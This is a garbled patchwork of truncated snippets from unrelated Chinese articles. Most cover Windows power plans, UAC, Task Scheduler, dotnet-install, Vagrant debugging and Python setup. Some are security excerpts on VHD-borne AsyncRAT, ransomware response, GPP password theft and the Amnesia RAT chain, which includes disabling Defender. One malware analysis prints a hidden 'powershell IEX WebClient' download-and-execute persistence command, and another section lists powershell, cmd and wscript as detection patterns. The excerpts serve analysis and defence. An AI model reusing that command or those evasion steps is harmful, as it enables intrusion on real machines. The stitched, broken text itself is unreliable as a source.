引言 在日常使用Windows电脑时,我们经常会遇到这样的问题:电脑锁屏或屏幕熄灭后,某些程序停止运行,比如下载任务中断、服务器程序挂起、自动化脚本失效等。...方法一:修改电源和睡眠设置 步骤: 打开设置:Win + I → 系统 → 电源和睡眠 调整屏幕关闭时间: 使用电池时:设置为 “从不” 接通电源时:设置为 “从不” 调整睡眠时间: 使用电池时...:设置为 “从不” 接通电源时:设置为 “从不” 适用场景:适用于所有Windows版本,最简单的方法。...方法二:调整高级电源选项 步骤: 打开控制面板 → 电源选项 选择当前电源计划 → 更改计划设置 → 更改高级电源设置 修改以下选项: 睡眠 → 允许混合睡眠 → 关闭 显示 → 关闭显示器时间...服务器优化:如果是服务器,建议使用 Windows Server 或 Linux,它们默认不会自动休眠。 任务计划程序:可以设置任务计划,在锁屏时自动执行脚本。 9.
推荐版本 我们建议您使用脚本的稳定版本: Bash (Linux/macOS):https : //dot.net/v1/dotnet-install.sh PowerShell (Windows):...默认情况下,脚本会修改 PATH,这使得 .NET CLI 在安装后立即可用。 -ProxyAddress 如果设置,安装程序在发出 Web 请求时使用代理。(仅对 Windows 有效。)...-ProxyBypassList 如果设置为ProxyAddress,则提供将绕过代理的逗号分隔 url 列表。(仅对 Windows 有效。)...ProxyUseDefaultCredentials 如果设置,安装程序在使用代理地址时使用当前用户的凭据。(仅对 Windows 有效。).../dotnet-install.sh --runtime dotnet --version 3.0.0 获取脚本并在公司代理后面安装 2.1.2 版本(仅限 Windows): 电源外壳 复制 Invoke-WebRequest
将「最大连接数」设置为需要的数量 3....,完成后恢复。...适用场景: - 开发环境 - 测试机 - 单机使用 4.2 恢复 UAC 菜单:系统 → UAC 设置 → 恢复 UAC 恢复正常的权限控制机制 4.3 打开 UAC 设置 菜单:系统 → UAC...设置 → 打开 UAC 设置 在 Windows 设置中调整 UAC 等级: - 最高:始终通知 - 中高:仅在应用尝试更改时通知 - 中低:仅在应用尝试更改时通知(无桌面变暗) - 最低:从不通知...五、电源管理 5.1 打开电源选项 菜单:系统 → 电源管理 → 打开电源选项 可配置: - 电源计划(省电、平衡、高性能) - 屏幕休眠时间 - 硬盘关闭时间 - 电源按钮行为 5.2 禁用自动睡眠
设置(Settings):控制任务行为的参数,例如允许按需运行、允许在错过计划时间后立即运行、如果任务失败则重试等。任务计划程序通过图形界面或命令行工具进行管理。...重复任务:在触发器触发后,重复执行任务,可以设置重复间隔和持续时间。...操作高级操作除了启动程序、发送邮件、显示消息之外,还可以:执行PowerShell脚本:运行复杂的PowerShell脚本,实现更高级的自动化功能。...电源:只有在计算机使用交流电源时才运行任务,避免耗尽电池电量。设置设置控制任务的运行行为,例如:允许按需运行:允许手动启动任务,即使触发器尚未触发。...结合PowerShell等脚本语言,Windows任务计划程序可以实现更高级的自动化运维功能,提高运维效率,降低人工错误。
解决方法: 开启卓越模式: 右键点击任务栏上的电池图标(或电源图标),选择"电源选项"。 在电源选项窗口中,点击"额外的电源设置"。...在电源选项窗口左侧,点击"选择电源按钮的功能"。 在接下来的页面中,滚动至底部,找到"启用卓越模式"选项。 点击"更改当前不可用的设置"链接。 勾选"启用卓越模式"复选框。...点击"保存更改"按钮。 关闭卓越模式: 重复以上步骤,进入"选择电源按钮的功能"页面。 取消勾选"启用卓越模式"复选框。 点击"保存更改"按钮。...尝试新的跨平台 PowerShell https://aka.ms/pscore6 PS C:\WINDOWS\system32> powercfg /L 现有电源使用方案 (* Active)...在需要最佳性能时,启用卓越模式可能会对您的应用程序和任务产生积极影响。同时,您也可以随时关闭卓越模式以恢复默认设置。
选择高性能电源计划Windows内置了“高性能”电源计划,可以直接启用以提升性能。...打开高级电源设置powercfg.cpl 在电源选项窗口中,点击“更改计划设置”。点击“更改高级电源设置”。...调整关键参数以下是一些关键参数的推荐设置:处理器电源管理:最小处理器状态:设置为 100%(电池和接通电源时)。最大处理器状态:设置为 100%(电池和接通电源时)。硬盘:关闭硬盘时间:设置为 从不。...修改新电源计划使用 powercfg /setactive 激活新计划,并通过高级设置进一步优化。6. 监控电源设置效果调整电源计划后,可以通过工具监控性能变化。...使用PowerShell查看电源效率powercfg /energy 该命令会生成一份电源效率报告,帮助您分析潜在问题。
,可以安装好再版本之间转换)点击接受点击更改保留内容这里选择无点击安装系统正在安装,期间电脑会重启很多次选择中国点击是选择微软拼音点击是点击跳过点击我没有Internet连接点击【继续执行有限设置】设置自己的账户设置账户密码...启用快速启动控制面板→硬件和声音→电源选项→选择电源按钮的功能→更改当前不可用设置,勾选 “启用快速启动”,缩短开机时间。...电源计划拉满性能控制面板→电源选项,选择 “高性能”;专业版可开启 “卓越性能”:以管理员身份运行 PowerShell,输入 powercfg -duplicatescheme e9a42b02-d5df...-448d-aa00-03f14749eb61,在电源计划中切换。...七、常见问题排查(优化后异常处理)问题现象排查步骤开机变慢任务管理器检查启动项 / 服务,恢复误禁用的核心服务(如 Windows Installer)仿真 / 游戏卡顿更新显卡驱动,开启游戏模式(设置
恢复组策略默认设置的cmd命令: secedit /configure /cfg c:\windows\inf\defltbase.inf /db defltbase.sdb /verbose rd...执行完命令后重启机器 ②取消计划任务条件中电源配置前面的√ https://www.geeksforgeeks.org/operator-refused-request-error-in-win/ https...老的S1机器:会传宿主机的localtime时间给cmos 1、删掉RealTimeIsUniversal,即0值:表示硬件时钟设置为本地时间。这是 Windows 的默认设置。...在这种情况下,当您更改时区或启用/禁用夏令时时,Windows 会自动调整硬件时钟。...2、不删RealTimeIsUniversal的话,即1值:表示硬件时钟设置为 UTC,即系统根据CMOS时间和设置的时区来确定当前系统的时间。
这篇文章将向您介绍Vagrant,以及如何利用其功能自动执行我们的内核调试设置。 Vagrant允许您将虚拟机视为“一次性”,因为可以自动删除它们并重新创建它们。...此外,必须使用WinRM启用远程管理,以允许Vagrant在VM中执行脚本。...就完成了设置框的操作,因此应该关闭电源。...一切设置完成后,继续并vagrant up在您的项目目录中运行。这将使用中指定的所有设置创建一个新的VM Vagrantfile。...附加调试器 片刻之后,应该创建并运行您的VM,并在启用内核调试的情况下对其进行完全设置。通过按键Ctrl + K并指定端口49152,可以将WinDbg连接到主机上1.1.1.1。
在DEAD#VAX活动中,攻击者在VHD内部构建了一个标准的NTFS或FAT32分区,并在其中放置了经过高度混淆的PowerShell脚本(.ps1)、VBScript(.vbs)或批处理文件(.bat...攻击者通常在VHD内放置一个名为“查看文档.txt.exe”或类似名称的文件,利用Windows默认隐藏已知文件扩展名的设置,使其显示为“查看文档.txt”。...或者,攻击者利用VHD挂载后触发的某些事件(虽较少见,但可通过计划任务配合),诱导用户手动运行内部的脚本启动器。该启动器是整个攻击链的关键枢纽,负责后续的解密与注入工作。...该载荷通常是AsyncRAT的可执行文件经过AES或XOR加密后的密文,或者是直接提取出的Shellcode。脚本使用硬编码在内存中的密钥进行解密。...值得注意的是,为了维持“无文件”特性,攻击者可能会将持久化脚本也隐藏在注册表的二进制值中,或利用计划任务直接调用PowerShell从IPFS重新下载VHD并执行,形成一个闭环的更新与存活机制。
在还没有找到加密来源时,修改整个共享驱动器的访问权限,也是非常有效的操作。作为第一步,只需要将共享访问限制为一小部分受信任的用户,并将权限设置为“只读”(同样适用于Linux/UNIX)。...在遇到将勒索软件设置为自动运行的案例中,需要弄清其实现的原理,以彻底杜绝其再次运行的可能。 在评估如何应对“黑客”实施的持久性机制时,辨别出“黑客”或者恶意软件的身份也可以助响应者一臂之力。...4.2 计划任务 “黑客”可以在操作系统中设置计划任务,来定期的重新启动与勒索软件有关的可执行文件。例如在Windows操作系统中,就可以通过注册表中的“AutoRun”键来实现。...除非必要,否者不允许使用FTP应用程序,Powershell或者Win-SCP。 通过适当地修改权限、角色和应用程序配置来限制对数据存储库的访问。...对大多数组织来说,切断所有的网络访问是“核选项”(译者注:英文为Nuclear option,表示就某种情况可能采取的最为极端的反应),但在发现网络勒索攻击后,没有什么手段是不可以采用的。
收集日志:用户可以手动收集CSV和EVTX格式的日志,也可以使用本文后面讨论的powershell脚本自动提取所需的日志。...如何使用APT-Hunter 要做的第一件事是收集日志,使用powershell日志收集器可以轻松地自动收集所需的日志,而您只需以管理员身份运行powershell脚本即可。...使用安全日志检测系统审核策略更改 使用安全日志检测计划的任务创建 使用安全日志检测计划的任务删除 使用安全日志检测计划的任务更新 使用安全日志检测启用的计划任务 使用安全日志检测禁用的计划任务 检测Windows...实时保护配置已更改 使用Windows Defender日志禁用检测Windows Defender扫描的恶意软件 检测使用计划任务日志注册的计划任务 检测使用计划任务日志更新的计划任务 检测使用计划任务日志删除的计划任务...检测使用系统日志清除的系统日志 使用系统日志检测TEMP文件夹中安装有可执行文件的服务 使用系统日志检测系统中安装的服务 使用系统日志检测服务启动类型已更改 使用系统日志检测服务状态已更改 将来的功能
该项目由 Raphire 创建,提供了一组 PowerShell 脚本,用户可以根据自己的需求进行定制.适用于 Windows 10 和 Windows 11....原文介绍 适用场景 新设备设置: 在新购置的设备上运行脚本,移除预装的臃肿软件和不必要的应用程序。 系统优化: 发现系统变慢时,通过运行脚本进行优化。...优化Windows Update设置: 优化 Windows 更新设置,减少更新对系统性能的影响。 禁用后台应用程序: 停用后台运行的应用程序,减少资源消耗。...启用高性能电源模式: 切换到高性能电源计划,提高系统性能(特别适合台式机)。 清理临时文件和垃圾文件: 删除系统中的临时文件和垃圾文件,释放存储空间。...快速方法 通过 powershell 自动下载并运行脚本。请注意,如果您的系统上尚未安装 git,这将安装 git。 以管理员身份打开 powershell。
, 映像文件执行选项) 自动化安全基线比对: 建立系统"黄金镜像"自启动项基线 使用PowerShell脚本定期比对当前启动项与基线差异 发现新增启动项立即进行信誉评分 2....powershell cmd.exe wscript" tasks.txt 可疑任务识别特征: 特权账户(SYSTEM/Administrator)执行的PowerShell脚本 触发条件为"登录时..."且执行路径为临时目录 任务创建时间与系统安装时间存在明显差异 执行命令包含编码(如Base64)内容 任务权限最小化审计:检查计划任务是否遵循最小权限原则,降低以SYSTEM权限运行的任务数量。...)设置以下阈值报警: 挖矿活动特征识别: GPU利用率异常(通过GPU-Z或类似工具监控) 特定进程对AVX/SSE指令集的高频使用 电源管理策略被修改(始终保持高性能状态) 自动化行为分析报告:系统资源异常与进程行为关联分析...(PowerShell执行策略设置为AllSigned) 内存保护机制(DEP、ASLR全面启用) 六、系统安全事件响应与恢复 1.
如何在Windows 10上安装Python 3并设置本地编程环境 介绍 Python是一种多功能编程语言,可用于许多不同的编程项目。...默认情况下,配置为以最安全的模式运行,您可以设置为管理员的几个级别的权限: 受限制是默认执行策略,在此模式下,您将无法运行脚本,而PowerShell仅可用作交互式shell。...我们将使用-m标志将库模块作为脚本运行,终止选项列表,然后使用pip来安装其升级。 安装Python并更新pip后,我们可以为我们的开发项目设置虚拟环境。...设置编程环境使我们能够更好地控制Python项目以及如何处理不同版本的包。在使用第三方软件包时,这一点尤为重要。 您可以根据需要设置尽可能多的Python编程环境。...使用本地计算机为软件开发做好准备后,您可以通过Python 数据类型等文章继续学习有关Python编码的更多信息。
跟过来之后发现有成功请求之后保留的文件 ? 顺着这个文件hash,就可以找到目标powershell脚本了 ? 如果有vt下载权限,即可通过该hash将powershell脚本下载回来。...而这一段流量应该是刚才下载回来的ps脚本发起的,所以不出意外的话,本次攻击的最终载荷就是这个ps脚本了。(毕竟也够长) ?...\Run” 最后这个应该是计划任务:$regValue = “cmd.exe /c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient...在main函数下断点,可以看到样本首先定义后后面log文件的路径,然后会判断是否有对应的注册表键值,即判定是否已经设置为开机自启动了。 ?...0x04 总结 至此,样本的分析已经完成,在本次恶意样本分析中,我们可以发现,通常情况下,攻击者特别是定向攻击者,会在实施攻击后的不久就将攻击所使用的服务器给下架。
在2015年的黑帽大会和DEFCON上,我曾谈过黑客会如何从域用户提权到域管理。 密码的难题 每台Windows主机有一个内置的Administrator账户以及相关联的密码。...传统的做法(除了购买安全产品),是使用一个自定义的脚本去更改本地Administrator的密码。这样就会出现一个问题,密码肯定会明文存储在SYSVOL的脚本里(比如vbs文件)。...比如黑客需要搜寻用来更改本地Administrator密码的VBS脚本,该vbs脚本在Microsoft TechNet gallery上,密码为可见的。...(Services.xml) 计划任务(ScheduledTasks.xml) 更改本地Administrator密码 这对管理员非常有用,因为GPP提供了一个自动化机制,可以作为急需的解决方案(比如脚本...在2012年5月,Chris Campbell又写了篇文章《GPP Password Retrieval with PowerShell》,并在里面提出了攻击该密码漏洞的第一段PowerShell代码。
我们发现了一种新的多阶段网络钓鱼活动,该活动以俄罗斯用户为目标,使用勒索软件和名为 Amnesia RAT 的远程访问木马。...为了维持骗局,脚本会在向受害者展示文档后,使用Telegram Bot API向攻击者发送消息,告知其第一阶段已成功执行。...经过故意设置的 444 秒延迟后,PowerShell 脚本会运行托管在同一存储库位置的 Visual Basic 脚本(“SCRRC4ryuk.vbe”)。...使用 PowerShell 关闭其他 Defender 保护组件部署 defendnot 工具,使其在 Windows 安全中心界面注册一个虚假的防病毒产品,并导致 Microsoft Defender...为了应对 defendnot 滥用 Windows 安全中心 API 的行为,微软建议用户启用篡改保护功能,以防止未经授权更改 Defender 设置,并监控可疑的 API 调用或 Defender 服务更改
通过Windows计划任务,用户可以: 定时运行程序:在指定的日期和时间,自动运行特定的应用程序、脚本或命令行工具。...可以使用下面Powershell脚本来解析计划任务的 XML 配置文件 # 指定XML文件路径 $xmlFilePath = "C:\Path\to\your\Task.xml" # 创建XmlDocument...新建计划任务 新建计划任务的方法有多种,包括使用图形用户界面 (GUI) 工具、使用 PowerShell 命令以及使用系统自带的命令行工具。...使用Powershell的cmdlet 在管理员权限下使用Powershell Register-ScheduledTask cmdlet来创建计划任务。...Action: 代表计划任务的动作,用于设置计划任务要执行的操作,如运行程序、调用 PowerShell 脚本等。
作为PowerShell 7的一部分,Microsoft在之前的日志记录基础上,增加了一种安全使用本地或远程存储中的凭据的方法,以便不需要将密码嵌入到脚本中。...还将改进日志记录,以提供将本地计算机日志发送到远程设备的机制,而不管原始操作系统如何。...Powershell日志说明 事件ID 关联 审计 笔记 400 403 始终记录,无论记录设置如何 引擎状态从无更改为可用,记录任何本地或远程PowerShell活动的开始; 403 400 始终记录...,无论记录设置如何 引擎状态从可用状态更改为停止,记录PowerShell活动结束。...无论记录设置如何 PowerShell控制台已准备好进行用户输入 简单的Powershell威胁狩猎 配置完Powershell审核策略后,我们可以进行一次简单的威胁狩猎来验证一下,通过Powershell